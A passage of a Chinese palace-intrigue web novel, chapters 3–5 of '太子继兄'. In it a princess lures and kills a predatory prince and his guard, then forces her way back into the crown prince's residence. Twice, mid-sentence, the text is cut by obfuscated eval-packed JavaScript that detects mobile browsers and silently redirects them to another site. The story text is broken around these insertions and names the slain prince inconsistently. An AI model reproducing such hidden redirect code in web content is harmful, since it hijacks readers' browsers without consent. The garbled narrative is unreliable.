《太子继兄》 3. 第3章 当了三年缩头乌龟的萧珩似乎打定主意回京后继续缩着。 萧晚滢从清晨等到天黑,等得着急上火,唇角起了泡,打发宫女去东宫送的信,再次被退了回来。 一如这三年来一样。 那些寄出的信件从起初的服软认错,到后来的恼羞成怒,大骂萧珩。 萧晚滢的内心也经历了从平静到愤怒甚至发狂,却依旧得不到萧珩的半点回应。 萧晚滢两岁就被送到崔皇后的含章殿了,崔皇后爱女夭折后,继后在那年生下了她。崔皇后便认为是她夺了爱女的生机,强行将她从生母身边夺过来抚养。 但那时候,崔皇后已经疯癫病态,不发病时,随意辱骂她,不许她吃饭,像畜生一样,将她关在笼子里。发病时,又将她当成那个夭折的小公主般搂在怀中疼爱。 崔皇后待她忽冷忽热,忽好忽坏,萧晚滢每天担惊受怕,几欲崩溃。 直到有一天深夜,崔皇后将她从寝宫中拖出来,将她的头摁到河里,要淹死她。 是太子咬伤了崔皇后的手臂,救下了她。 之后很长一段时间里,她和太子都在与崔皇后斗智斗勇,东躲西藏,若是不小心被崔皇后找到后,太子会挺身而出护着她,替她挨打。 那时她三岁,太子八岁。 再过了两年,崔皇后与魏帝发生冲突,发疯伤了魏帝,魏帝终于下令将她关起来,后来突染恶疾亡故。 那年,贵妃傅兰若,也就是萧晚滢的生母被册封皇后,成了魏帝的继后。 五岁那年,她被接出了含章殿。 但继后忙于争宠,大多数时间都在想方设法留住魏帝,忙于陪魏帝参加各种宫宴,陪他出宫游玩狩猎,陪自己女儿的时间并不多。 萧晚滢仍然往含章殿跑,后来太子及冠后迁居东宫,她便大多数时间都住在东宫的西华院之中。 小时候担惊受怕,经常饿着肚子关被黑屋,饥一顿饱一顿的,导致萧晚滢的身体一直不好,时常生病,每回都是太子照顾她,陪在她身边一整宿。 更是在她十三岁生辰那天,将那亲手种了满院海棠,有着一方天然温泉池的海棠别院赠给萧晚滢。 在多年的朝夕相处中,萧晚滢也越来越依赖萧珩。 在魏帝所有的皇子公主之中,就数他们最亲,就连刘贵妃亲生的嘉乐公主和四皇子也彼此看对方不顺眼,有闹红脸的时候。 但萧珩宠着她,纵容包容她的坏脾气。 萧晚滢以为这样的日子会持续一辈子。 可没想到,有一日,萧珩会突然疏远她,让她搬回朝华殿。 萧晚滢还记得那天她找萧珩吵了一架,她发脾气吵架还有另外一个原因,萧珩突然选了伴读入宫,伴读是崔家的那对孪生兄妹。 她生气是崔媛媛也唤萧珩太子哥哥。 萧晚滢一直以为自己是萧珩唯一疼爱的妹妹,只有她才能与萧珩那般亲近,可当崔媛媛多次借口请教诗文和琴技接近萧珩之时,积压的怒火终于大爆发。 说是吵架,那纯属是她单方面发泄不满,并将萧珩曾经送给她的璎珞项圈狠狠砸向萧珩的额头。 她知萧珩的武艺应该不弱,必定能轻易躲过,可他却没有躲。 他就站在那里,任凭那金项圈重重砸向他,额头红肿不堪,他不发一言,事后语气冷漠,只让人送她回宫。 三日后,待她气消了,再去找萧珩,心想只要她服软认错,萧珩一定会原谅他。 可萧珩却已经请旨连夜前往豫州。 骄傲如萧晚滢也曾在信中拉下身段认错,写了一封又一封的认错信。 萧珩不回信,她再写。 直到数十封信都石沉大海,她逐渐暴躁。 开始胡搅蛮缠,撒泼发疯。 一个月前的最后一封信,她画了个大大的乌龟。 在乌龟的背上大书萧珩的名字。 再后来,她便收到了萧珩送来的大婚贺礼,便是那对被她砸碎的鸳鸯佩。 萧晚滢气得又在心里咒骂一句,“死乌龟,死萧珩。” 她就不信,萧珩能永远缩在他那乌龟壳里不出来。 眼下她不能再被动地等下去了,萧睿派人盯着朝华宫,她派人去东宫吃了闭门羹的事,萧睿恐怕也已经知晓了。 萧睿很快也会察觉出不对劲,很快就会知道她和太子闹翻,知道她如今根本就不得太子宠爱,甚至连见萧珩一面都难。 还有,萧睿怀疑她的身世,虽说目前还没有证据,但不代表他不会去查。 母后在入宫前就有孕的事,当年就有三个人知晓,一个是萧晚滢那短命早死的亲爹,还有当年母后贴身伺候的丫鬟玉兰,以及母后生产前,为她调理身体的张太医。 张太医告老还乡的途中,马车出事,跌落悬崖,已然粉身碎骨。 玉兰虽然失踪多年,音信全无,这些年却好似人间蒸发了一般,但玉兰的存在,始终是个隐患。 她焦急地在寝宫踱步。 直到暮色降临,那令人烦躁的念经声再次传来。 萧晚滢揉了揉疼得麻木的太阳穴,连续数日没睡好,她心情越发烦躁,脑中像有人不断用针刺一般疼。 她坐回案前,快速提笔写了几个字,对珍珠说道:“你替本宫约萧睿去一个地方,海棠别院。” 珍珠惊讶地道:“这海棠别院曾是太子殿下送给公主的生辰贺礼,那里的西府海棠都是当年太子殿下亲手为公主种下的。公主自小身体弱,太子殿下送您这间别院,是让您能多泡泡温泉,说是有强身健体之效。” “再说四皇子虎狼心思,公主主动邀约,那不是自投罗网吗?” 萧晚滢将笔往桌案一摔,“我就是要让他觉得我是走投无路了,自投罗网。” * 传言不假,继后擅房中术,入宫之后执着于争宠,使出浑身解数勾引魏帝,这些年,继后独得圣宠,魏帝被她迷得神魂颠倒,身体逐渐被掏空,如今房事不尽如人意,常需辅助药物才能行事,肾虚劳损,身体每况愈下,到处寻求长生不老的仙药。 继后虽得圣宠,但心中郁结,知自己时日无多后,担心日后萧晚滢嫁去卢家不得夫君疼爱,便请来青楼花魁教华阳公主一些美容养颜的窍门。 每日都用磨碎的珍珠粉敷脸,搜集秘戏和春宫图的孤本,还教了她一些取悦男子的房中秘术。 养出了如雪般白皙,如脂膏般滑嫩的肌肤,还要求萧晚滢每日坚持束腰,若是腰宽了,可要被罚戒尺的。 萧晚滢今天特意挑了一件束腰的红色薄纱寝衣,更加衬托得腰肢柔软,不盈一握。 沉璧为她梳妆,她用上自己最喜欢的海棠花香。 就连身下也用了颗从内至外发出香味的香珠。 珍珠送了信回来,萧晚滢便让珍珠掌灯,去往海棠别院。 将身子没入温泉池,轻轻闭上眼睛。 直到一阵踉跄的脚步声。 她才睁开眼睛。 鱼儿要上钩了。 今日没能得到萧晚滢,萧睿觉得身边那几个姿色尚可的侍妾都没了滋味,心情郁闷,便喝了不少酒,可听说萧晚滢主动邀约,心中高兴便又多饮了几杯。 萧晚滢前后态度转变如此之快,他也不是没有怀疑。 但他觊觎萧晚滢多年,这海棠别院便是刀山火海,他也要闯一闯。 此刻,他脚步踉跄,见到那皎洁的月光下,在池中轻拨温泉水沐浴的萧晚滢后,更是心驰神荡,魂儿都飞走了。 此刻温泉池中只有几盏悬挂在海棠树上的美丽花灯,随风轻晃。 朦胧的光影之下。 花灯照影,印照在美人如玉般的美丽面容之上。 女郎纤长的颈露出水面。 水雾缭绕,婀娜娉婷的身段若隐若现。 萧睿咽了咽口水。 一时失神,醉酒后脚步不稳,差点在那被泉水浸泡得光滑的石块之上跌了一跤。 萧晚滢捂嘴咯咯笑了起来。 “四皇兄,仔细脚下滑!” 萧晚滢从温泉池中起身,缓缓走到池边。 这更是一种极致的视觉盛宴。 她身上的衣裳全都湿透了。 紧紧贴在身上,更显得身形婀娜,玲珑有致。 黑色披风包裹着红色的寝衣,有种既神秘又张扬的美。 她侧臀坐在萧睿的身边,轻轻地提起湿漉漉的裙摆。 露出修长笔直的小腿,足尖绷直,伸进温泉池水之中,轻点水面,晶莹剔透的水珠在玉足上滚动。 萧睿眼睛都看直了,面颊热烫,心跳急促,仿佛心都快要跳出胸腔。 他迫不及待地抓住萧晚滢的脚,往怀中一带,萧晚滢抬足轻轻一踢,将他踢得往后仰,轻笑着,像是在与萧睿调情。 萧晚滢慵懒地坐着,端起池边的白玉酒杯递到他的嘴边,“四皇兄,喝吗?” 萧睿被那娇媚的嗓音勾得神魂颠倒,但还没彻底失了神智。 “二妹妹不会下毒了吧?” 萧晚滢面带嗔怒,一把夺过酒杯,长饮了一口。 萧睿见萧晚滢生气,讨好般的低头一口咬过杯盏,口覆在萧晚滢留在杯沿的唇印之上,衔于口中,一饮而尽。 春日花叶繁茂,海棠别院繁花葳蕤,落红纷飞。 藏匿在树上之人,拨开眼前繁茂的花枝,往温泉池中望去,其间热气蒸腾,见自家主子赤着上身在温泉池中。 与华阳公主抱在一起。 陆元面无表情地赶紧移开视线。 萧睿平日恶事做尽,毁在他手中的良家女子不计其数,虽说色胆包天,但却行事相当谨慎。 就譬如今日,他虽赴约却带着武艺最高强的陆元一道前来,就是疑心萧晚滢使诈。 到了夜间,满院西府海棠繁花似锦,清香扑鼻,陆元不知怎的闻到这股浓郁的花香觉得昏昏欲睡。 往常他跟着萧睿身边,即便寸步不离守一整夜都不会犯困,今日这花香闻着实古怪。 他心里一咯噔,暗道:“不好。” 他中招了! 到底是何时中招的?他一一回想今日接触的人,回想酉时时分,华阳公主身边的宫女珍珠来送信,随行的还有一个小太监。 那小太监与他擦身而过。 应该是那个时候就被算计了。 他赶紧去闻自己的袖口,袖口上确隐约极淡的花香。 而自从进入这海棠别院,这里盛开的海棠花,枝繁叶茂,仿若身处花海,浓郁的花香掩盖了他身上的香气。 华阳公主当真好算计啊。 她给萧睿的那杯酒无毒,而真正有毒的是他身上的这种不知名的迷香。 但见温泉池中,嘻戏声传来,萧睿已经压着公主来到温泉池边。 那起伏的身影,应是在行云雨。 萧睿性子暴躁,手段阴狠。最讨厌被人打扰破坏好事。 陆元不敢轻举妄动,只是拔出了短 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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萧晚滢看到了卢照清藏于袖中的袖箭,这才长吁一口气,心脏仍然紧张得怦怦乱跳,良久才颤声问道:“你怎会在这儿?” 卢照清惊惶未定,赶忙擦拭额头的冷汗,“臣担心公主。” 他因为放心不下公主,躲在暗处,一直未曾离开。 卢照清望向树上正在打斗的人,陆元虽然中了迷香,但青影仍然不敌,腰腹中了一刀,大腿也被短刀割伤,眼看着她就要命丧陆元刀下。 陆元一脚将青影踹下树稍,持刀猛地向萧晚滢扑来,他打算抓活口,去向刘贵妃复命,毕竟萧睿死在他面前,他护卫不力,必定死路一条,但抓住杀了萧睿的真凶,刘贵妃说不定会饶他一命。 卢照清眼见着那刀就要落在萧晚滢的身上,情急之下,他一手抓住那刀刃。 萧晚滢大声唤,“青影”。 青影强忍伤痛,拼尽全力,往前猛地扑向陆元,死死地抱住他。 就在这千钧一发之际,萧晚滢抓住卢照清的手,袖箭射出,正中陆元的咽喉,顷刻毙命。 青影重伤倒地,喘息不已。 萧晚滢也差点跌倒,多亏卢照清扶着她,她才没因腿软一头栽下去。 卢照清笑看着萧晚滢,惊惶未定,还不忘夸奖,“公主殿下的骑射比臣强多了。” 萧晚滢骄傲地昂首,“那是自然。” 她的骑射都是太子哥哥手把手教的,宫学的第一名。 她下意识就要欢喜得脱口而出,却赶紧抿紧了唇瓣。 珍珠急匆匆地跑来,见到眼前的场景,差点眼前一黑,差点吓晕过去。 公主冒奇险杀四皇子,可该如何善后啊? 四皇子一直纠缠公主,如今他死了,刘贵妃会善罢甘休吗? 珍珠发出一声绝望的惊呼,“完了。” 萧晚滢则抢过珍珠手中的宫灯,将美酒淋在灯上,往陆元身上扔去,顿时尸体便被点燃,顷刻便熊熊燃烧起来。 * 今晚夜色暗淡,细密的春雨像是薄雾轻笼,冷风再将那细若轻纱的雨雾从四面八方将人完全包裹住。 “华阳求见太子哥哥!” 萧晚滢站在雨雾之中,寒意将她从头到脚紧紧包裹住。 春夜寒凉,薄透的寝衣紧紧贴在身上,红衣湿透,包裹着玲珑有致的曲线,女郎发丝凌乱,钗环遗落,仿佛一朵迎风而颤的小白花。 颤抖的声音更加显得楚楚可怜。 “若太子哥哥执意不肯相见,阿滢便长跪不起。” 萧晚滢作势重重地跌跪下去,可身体虚弱,摇摇欲坠。 突然,白衣身影疾步闪身而出,长臂一伸,揽住萧晚滢的后腰。 萧晚滢乘势往前,就要跌进皇太子萧珩怀中。 突然眼前一黑,一件白袍至上而下,将她紧紧包裹住。 始终与她保持着距离,冷漠得像是拒人千里之外。 而后,他淡淡开口,“孤让人送你回去。” 三年未见,萧珩同她说的第一句话,一如从前。 冷漠的语气也一如从前。 不同的是,三年未见,他的身姿更加挺拔,越发俊朗,也越发冷漠。 萧晚滢突然一口咬在萧珩的手背之上。 那一下咬得极重,直到唇上染了血迹,她才松开。 咬了之后,脸上带着得逞笑容,得意地看着他。 心道:“太子哥哥,好久不见!” 不过这一次,他休想再赶她走,也休想再摆脱她。 若这三年他忘了她,那她便要用这种方式让他记住,记一辈子。 4.第4章 萧晚滢那一口咬得极重,像是要将连日来积攒的怨气都发泄了。 鲜血顺着牙印渗出,萧珩的手背上出现了明显的一道血印子。 萧珩却无半分情绪变化,却像是猜中了她的心思,淡淡说道:“闹够了吗?闹够了,就回去。” 萧晚滢唇瓣染血,格外的红艳,绝色的容颜更显魅惑,笑看着萧珩。 就在这时,她身后的漆黑夜空,骤然被点亮了。 宫殿的某处着了火,她的身后是大火燃烧后,足以照亮一方天地的火光。 她颇有些遗憾说道:“糟糕,太子哥哥,阿滢好像回不去了呢!” 只不过她演得有些假,仿佛也不屑于去演,眼神有遗憾,透着假笑。 萧珩就这样静静地看着她演戏。 身旁的随从辛宁道:“太子殿下,属下观着火的方向应该是海棠别院,海棠别院西连二公主的朝华殿,若是公主殿下回去,恐怕会有危险……” 不远处也传来宫人们的呼喊声,“走水了,快来救火啊!” 今夜风大,火势蔓延,海棠别院的一场大火,也牵连了朝华殿。 萧晚滢一脸天真地看向萧珩,“那太子哥哥,阿滢现在可以留下了吗?” 萧珩并未说话,微微蹙眉。 他那素来最擅长装乖讨巧的皇妹,三年未见,她连装都懒得装了。 “好。” 半响,萧珩终于松了口。 萧晚滢弯了弯唇角,露出得逞的笑意,也不枉她今夜的一番谋划,她终于能如愿以偿,留在东宫。 只要她能再回西华院,便能回到从前,和萧珩和好如初。 萧珩不是想躲着她吗?那她便让他无处可躲。 萧珩好像能读懂她的心思,冷声道:“不过,只限今晚。” 萧晚滢瞬间变脸。 萧珩扫过她面上的神色,“你若不愿,今夜也可去晨曦殿同嘉乐挤一挤。” 晨曦殿是三公主萧姝的宫殿,三公主是萧睿的胞妹。 难道萧珩猜到了什么? 这不可能! 萧晚滢很快否定了这个念头,就算萧珩再神通广大,也不可能刚回宫便猜到今夜发生之事。 “不,阿滢愿意留宿西华院。” * 在萧晚滢入西华院后,才消停不到片刻,便又传来了动静。 萧晚滢摔了宫女文惠为她准备的姜汤,趁机抓了一块碎瓷片,做防御状,若谁靠近,她便握着那块瓷片,往谁身上刺。 伺候的宫女们不敢靠近,更怕她弄伤了自己。 文惠赶紧去禀报太子殿下。 待萧珩赶到之时,萧晚滢正缩在角落里。 身上只穿了一件轻薄的红色寝衣,寝衣已经湿透。 赤着的脚边满是水渍。 萧珩见状,不禁皱了皱眉头。 听文惠说是公主要沐浴,可刚一碰到她,却不知何故竟激怒了她。 文惠也是从前在西华院伺候过华阳公主的老人,事先也询问过萧晚滢的意思,这才上前伺候,为她沐浴宽衣,却没曾想一碰到她,萧晚滢的反应竟如此激烈。 萧珩摆了摆手,道:“先退下吧!” 萧晚滢手中的瓷片握得太紧,已经割破了她的手指,有血从指缝间渗出。 此刻萧晚滢长发散在身侧,及腰长发垂及地面,抱膝,身子蜷缩成一团,头埋在臂膀之中。 听到脚步声,她好似浑然不觉,嘶吼出声,“滚,不许碰我,本宫让你滚啊!” 萧珩一把抓住她的手腕,萧晚滢拼命挣扎。 萧珩只得强行用力掰开她的手指,取出掌心紧握的瓷片。 为了不让她伤到自己,萧珩选择先抓住瓷片,任由那锋利如刃的瓷片划得掌心鲜血直流。 鲜血顺着指尖流下。 “萧晚滢!” “萧晚滢,你清醒一些!” “孤在。” 萧晚滢渐渐地放弃挣扎,那双布满红血丝的眼睛缓缓抬起,怔怔地抬头看着他,双睫轻颤,那双水雾朦胧的眼睛中已蓄满了珠泪,长睫一抖,珠泪颤落。 她突然扑进太子的怀中,跪着往前,抱住萧珩,“太子哥哥。” 那带着浓浓鼻音的声音带着极大的委屈。 萧珩扔了手中的瓷片,缓了缓语气道:“好了,没事了。” “先去沐浴,将这身湿衣换下,孤让人为你上药。” 姜晚滢摇了摇头,靠在他怀中,用带着浓浓的鼻音说,“不要。” 萧珩冷声:“去不去?” 萧晚滢摇头,还将身子凑过来,挨蹭着萧珩,将他那身整洁的雪白锦袍蹭湿了大片。 萧珩微不可察地弯唇,觉得好气又好笑。 萧晚滢此举是想试探着他的态度, 萧珩却板着脸说道:“那便冷死算了!” 萧晚滢抓起他干净整洁的衣袖,擦拭眼泪,将他的袖子也弄湿,“哦,没人疼阿滢,还不如死了算了。” 她故意挨着他,是想让他感受她的冰冷,感受她在颤抖,想让他心软,想让他妥协。 她素来如此,善于伪装,讨巧,装乖。 “冷……”萧晚滢将自己缩成一团,艳若桃瓣的眼中好似蒙着一层水雾,她轻轻地扯着萧珩的衣角,“太子哥哥,好冷…” 她本就身弱,也是真的冷,她从温泉池中出来后,便一直穿着这身湿透了的寝衣,为了让萧珩怜惜,又故意在冷风中站了许久,身上更似冷的没了温度。 又因为同萧珩赌气,将他的衣袍扔了,春夜更深露重,这会儿,她已经面色苍白,浑身发冷,单薄的身子正在微微的颤抖。 见萧珩仍是一副冷脸,无动于衷的模样,她轻轻抓住萧珩的手,触碰自己的脸颊,“不信,太子哥哥你摸摸看。” “你……”萧珩赶紧将手缩了回去。 “孤最后问一句,真的不去?” 萧晚滢摇头,“除非哥哥答应让我留在东宫。” 她无力地靠在萧珩的肩头,显然已经撑不住,就要倒下。 萧珩索性一把将她扛在肩上,往雕刻着花鸟的花梨木屏风后的浴桶走去。 萧晚滢是被扔进水里。 扔进去的时候整个人都是懵的。 萧晚滢顿时头晕眼花,昏沉的脑袋却又瞬间清醒了。 生气,愤怒,种种情绪涌上心头。 “萧珩,你干什么!” 她呛了一口水,正要发作,却突然勾起了三年前的一段回忆。 在崔皇后病故之后,萧晚滢骤然摆脱了长期压抑,彻底放飞自我。 有一日,她喜欢上了一种青梅酒,还贪杯醉得不醒人事。 萧珩忙完政务回到东宫,发现她抱着酒壶坐在他的寝宫门前,冲他傻笑。 她穿着寝衣,赤足,雪白的玉足上还沾染了花瓣和草屑,应是在某处花丛中奔跑过。 萧珩皱眉:“怎的竟醉成这样,来人,快将这醉鬼扔进西华院。” 她弯着眼眸看着萧珩,摇摇晃晃地起身,“不要。” 她嘟着嘴,一手叉腰,一手指着他,认真说道:“阿滢决定,今晚和哥哥一起睡!” 说完便摇摇晃晃地起身,爬上了他床。 不知是恶作剧,还是因为醉酒不省人事,她竟然说出了这般惊世骇俗之言。 小时候,崔皇后发疯,经常在半夜会将熟睡的萧晚滢抱到萧珩的榻上,用满脸慈爱的眼神看着床上的一双儿女,眼睛也不眨,一动不动地枯坐一夜。 后来,萧晚滢每次做噩梦,便会爬到萧珩的榻上,只不过每回都被萧珩拎回西华院。 除了那次发酒疯。 萧珩爱洁。 她却用那沾了花瓣和草屑的小脚踩上了他的床塌,他那本就没什么表情的冰块脸,阴沉得都快滴下水来。 因为唤不醒酒鬼,萧珩便用锦被将她一裹,直接丢进净室,不顾她的反抗,将她按进水里,十分粗暴地将她从头到脚彻底洗干净。 那是她记忆中与萧珩最后一次相处的画面。 也是从那时起,萧珩每日都早出晚归,每天都去巡视军营,回来的很晚。 她总也见不到萧珩,她去找他,却总是被告知他不在宫中。 后来,萧珩更是直接住进了军营。 她出宫去寻他,萧珩的手下便以女子不得入军营,将她阻拦在外。 再后来,崔家兄妹被选做太子伴读入东宫。 崔媛媛便想方设法地引起萧珩的注意,恨不得时刻黏着萧珩。 她与萧珩大吵一架,甚至与他决裂。 吵架的原因也不全是因为崔媛媛,气他总是借口接近萧珩,其实是她察觉到萧珩在故意疏远自己。 当然也不妨碍她是真的讨厌崔媛媛,假借请教,却行接近太子哥哥之实。 这三年来,她一直在想,到底是从何时开始,萧珩开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16789598|190486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻意疏远自己,思来想去都觉得是她醉酒的那天晚上。 那夜,她醉得迷糊,具体的细节已经记不清了,只记得萧珩将她抱进了浴桶,替她散下长发,她浸泡在温暖的水中,困极了,竟在沐浴时睡着了。 后来到底发生了什么,她完全没有印象。 但如今萧珩回来了,她定然弄清楚,那天晚上到底发生了什么,到底为什么萧珩要疏远自己? 如今萧珩做出了三年前相同的反应,在水声响起,水花飞溅而起的那一瞬,他好似突然反应过来,连自己都愣了一下。 “让珍珠进来伺候吧!孤便先走了。” “朝华殿的大火已经扑灭,你可暂时宿在偏殿。萧晚滢,孤知晓你想做什么,但明日一早你必须离开!” 萧晚滢抹去脸上的水珠,盯着萧珩的背影,她不甘心,生怕自己再像三年前那般,被萧珩再次抛下,害怕他会再次离开洛京,一别多年。 她急忙跨出浴桶,去扯萧珩的衣袖,身体却往后一滑。 “太子哥哥,救我!” 她情急之下紧紧抓住萧珩的臂膀,却抓了个空。 萧珩着急回头去揽她的后腰,哪知萧晚滢突然一把抓住他的前襟。 往前猛地一带,拉着他往后倒去。 她拉拽着他一同跌入了浴桶之中。 她是故意的。 她只是想知道三年前的那个晚上到底发生了什么,只想弄清太子为何要疏远她,她想留在西华院,留在太子哥哥身边。 但萧珩只是将手从她的腰间移开,再也不看她一眼,头也不回,拂袖离开西华院。 三年前他到底因为什么生气? 萧晚滢想不明白。 但她好不容易才回到这里,她是不会走的。 萧珩想方设法要送她走,但她偏要赖着他。 萧珩走后,萧晚滢已经换了衣,珍珠和文惠也被唤进来伺候,替她包扎手指,珍珠赶紧递上手巾,萧晚滢接过手巾擦拭发尖的水珠,让文惠退下。可到底是为什么,真是百思不得其解。 自从珍珠目睹了萧晚滢杀了四皇子之后,便无一刻不忧心忡忡。 她原以为太子殿下会许公主留下,这样即便他日东窗事发,至少公主还有人庇佑。可没想到太子却下令天一亮便让公主离开。 可真真是急煞了珍珠。 如今四更天已过,很快就要天亮了。 珍珠不确定卢照清是否可信,若刘贵妃发现了三皇子已死,会不会怀疑到公主的身上?公主失去了太子的庇佑,又该怎样度过这次难关? “殿下,再过两个时辰就要天亮了。” 萧晚滢却毫不在意,赤足踩在地上,地上铺了厚厚的绒毯,毛茸茸的,很暖和,也很舒服,这般布置之人应该是极为了解她的习惯,担心她会着凉。 方才她并未仔细看房中摆设,这才发现小几上的琉璃瓶中插着几支垂丝海棠,应是刚从树枝上折下不久。 花苞含苞待放,瓶中的清水也是每日换过的。 还有殿中的熏香,也是她最喜欢的海棠花香。 她坐在床榻上,将锦被抱在怀中,还闻到一股在阳光下晒过的味道。 殿中摆设也是她曾用过的,全都维持原样,家具一尘不染,可见经常有人打扫,博古架上的瓷器也被擦拭得程亮无比,墙上还悬挂着一个小小的弹弓。 应是太子哥哥的安排。 看来,萧珩对自己的态度并不像他表面上看起来的那般冷漠。 萧晚滢微微扬起了唇角。 见萧晚滢在殿中踱步,一时蹙眉沉思,一时又忍不住唇角上扬,珍珠忍不住提醒道:“公主殿下?” 萧晚滢这才回过神来,看向珍珠,轻笑道:“三皇兄之死,与本宫无关呐!放心,刘贵妃查不到本宫的头上。” 三皇子之死,她已有脱身之策,不必担心,况且她的心思也并不在这件事上。 她全都的心思都放在,天亮后,她要如何才能留下。 还有弄清在萧珩身上到底发生了如何?她要知道萧珩待自己如此冷漠的原因。 以她对萧珩的了解,他是她见过的最能忍的人。 小时候,萧珩为了她,尽管被崔皇后打得半死,下一次还是会毅然决然地挡在她面前,真是又傻又执拗。 萧珩不说,那她便主动去问,萧珩不是要下决心疏远她么? 但她以后都不会再给他疏远自己的机会了。 5.第5章 萧珩回到了寝宫,彻底变了脸色。 湿漉漉的衣袍,脚边还在淌水,那原本就冷若冰霜的脸,阴沉的像是会滴下水来。 太监总管冯成小跑着上前,见太子从头到脚都湿透了,大为惊讶,担忧地问道:“殿下身上还有伤在身,这沾了水,恐不利于恢复伤势……恢复,” 他话音未落,萧珩便吐出一口鲜血。 冯成骇然,“殿下的内伤?” 萧珩用帕子擦拭嘴角,“无妨。” 当他看到萧珩后背渗出的血迹,一身白衣上几道清晰可见的血痕,他不禁拔高了声音,惊恐地睁大眼睛,“唉呀!殿下的伤口怎的又裂开了?流了好多的血啊!” 听说华阳公主又搬回了西华院,太子殿下是去见华阳公主后,才弄成了这般模样。 想当初,华阳公主还砸伤了殿下,难不成兄妹刚重逢,华阳又做出了什么过激的举动? 冯成担忧不已,不禁在心中叹气:“真是前世冤家啊!” 他从小看着太子和公主长大,手心手背都是肉,殿下看似不在意,却屡次包容公主的任性,他只希望这两个小祖宗能早日和好如初,如此,殿下也能少遭些罪。 “公主既然又搬回了西华院,而殿下又并非不疼惜公主,不如便像从前一样,与公主好好相处,公主原本那也是乖巧可爱,十分讨人喜爱的……” 在冯成看来,公主那般闹腾,分明就是想要引起殿下的注意,她幼时被崔皇后苛待,不知受了多少苦,极度缺乏安全感,对从小与她一同长大的皇太子有强烈的依赖。 可殿下骤然单方面要切断这种依赖,公主如何能接受。 他几次试探般地询问缘由,都被萧珩打断了话头,他觑向那张越发冰冷阴沉的脸,看来公主要想留在宫中,只怕是不易。 但以公主的脾气,只怕有得闹。 愁啊! 冯成在心中连连叹气。 他还记得初次见到公主的时候,两岁的女娃娃,生得粉妆玉琢,软糯可爱,让人一见就忍不住心生欢喜怜爱,恨得不到将这全世界最好的都给她。可惜被崔皇后抢了去,日日磋磨苛待,这才变成这般喜怒无常,行事极端的恶劣性子。 但凡她从小被宠爱,华阳公主必定会长成天底下最美丽最可爱的小女娃。 冯成鼻头一酸,泪水湿润了眼角。 萧珩睨了冯成一眼,“她今夜所做的每一件事,都和乖巧可爱一点也不沾边!” 冯成:“……” 萧珩冷笑,“还有孤不会答应她留下,明日一早,便会送她回朝华殿。” 冯成,“……” 冯成还要再劝,萧珩不耐烦地道:“好了,别煽情了,你若真的那般挂念她,孤明日便调你去朝华殿当差。” 冯成擦了擦眼泪,瞬间堆出了一张笑脸,“奴服侍殿下二十年,奴生是殿下的人,死是殿下的鬼。” 辛宁幽幽地看过来,皱眉:“肉麻。” 冯成哼了一声,翻了个白眼,继续献殷情,“奴为殿下备水沐浴,洗个热水澡,去去疲倦,毕竟殿下连日赶路,好几日都未歇好,殿下的伤口又裂开了,奴这便为殿下换药吧!” 他若真的被调去了朝华殿,他这身老骨头,只怕经不起华阳公主几天折腾,提前归西。 萧珩却道,“去准备些冰来。” “殿下!” “现下虽说已入春,但天气依然凉寒,北风刺骨,殿下伤势未愈,便是铁打的身体也吃不消啊!” 冯成那圆圆白白的脸上满是褶皱,表情很夸张,紧张兮兮,又絮絮叨叨的,看上去有些滑稽好笑,莫名的很有喜感。 萧珩不想再听他啰嗦,抬手制止他继续念叨,“你先出去吧,上药的事儿就交给辛宁来就行了。” 萧珩好似有想到了什么,“还有孤受伤之事不必让阿滢知道。” “是。” 冯成连叹了几口气,出了太子寝宫,那绵密的细雨便迎面而来。 他瑟缩着脖子打了个寒战。 这洛阳城的三月天,依然寒风刺骨,叶染寒爽,殿下在这个时节竟然还要用冰,当真是一点也不关心自个儿的身体啊! 冯成拢了拢身上的宽大的官服,将手拢进袖中,瑟缩着脖子,叹:“夜里真冷啊!” 又心想殿下孤身多年,身边连个伺候的宫女都没有,若是又个知心人在身边,也可帮着劝着些。 他想到了一个人,又叹了一口气,小声嘀咕了一句。 抬眼便看见面前一红衣散发女子正出现在他面前,骤然与他对视。 廊檐下的灯笼被风刮得翻飞,火光忽明忽暗。 空气一瞬间的安静。 “鬼啊!”冯成吓得三魂丢了七魄。 却被人扯住了后领,一把将他拽了回来。 “是我!” 待他看清楚眼前的女子之后,冯成才按住砰砰直跳的胸口,深吸一口气,颤声问道:“公主殿下啊,三更半夜的,您怎的还不睡啊,在这里吓老奴作甚啊?” 他快被吓死了。 萧晚滢弯起嘴角,笑的瘆人,“看来是冯公公平日里亏心事做的太多,心里有鬼。” 萧晚滢拨弄着被风吹拂在脸侧的发丝,突然变了脸色,“来人,请冯公公去本宫的西华院小坐片刻,本宫有几个问题想请教冯公公。” * 太子寝宫内,萧珩褪去上衣,赤着上身,走进加了冰块的浴桶之中。 背后那密密麻麻的刀伤被冰水浸过,刺得伤口剧痛无比。 方才在西华院,在和萧晚滢拉扯间,那时伤口裂开,鲜血浸透后背,导致内伤加重,他匆匆离去便是为了不想让萧晚滢发现他受伤之事。 三年未见,她比从前更加聪慧也更加敏锐了,行事也越发大胆极端。 若是被她发现,只怕又是一阵血雨腥风。 她如今胆子大得都敢在宫里动手了。 宫中的势力错综复杂,远没有她想的那般简单,稍有不慎,便是万劫不复,思及此,萧珩不禁蹙紧了眉头。 辛宁担忧地看着太子后背的伤,鲜血沿着如玉般白皙的裸露的后背,不住地往下流,横贯后背的伤口看上去触目惊心。 萧珩却好似麻木了,丝毫感受不到疼痛,他再将身体往水下浸。 直到将整个手背都浸入冰冷刺骨的水中。 刺骨的冰冷,疼痛刺痛难忍。 却依然压不住他的内心那团燃烧的欲。 最要命的是这种感觉已经持续了三年了。 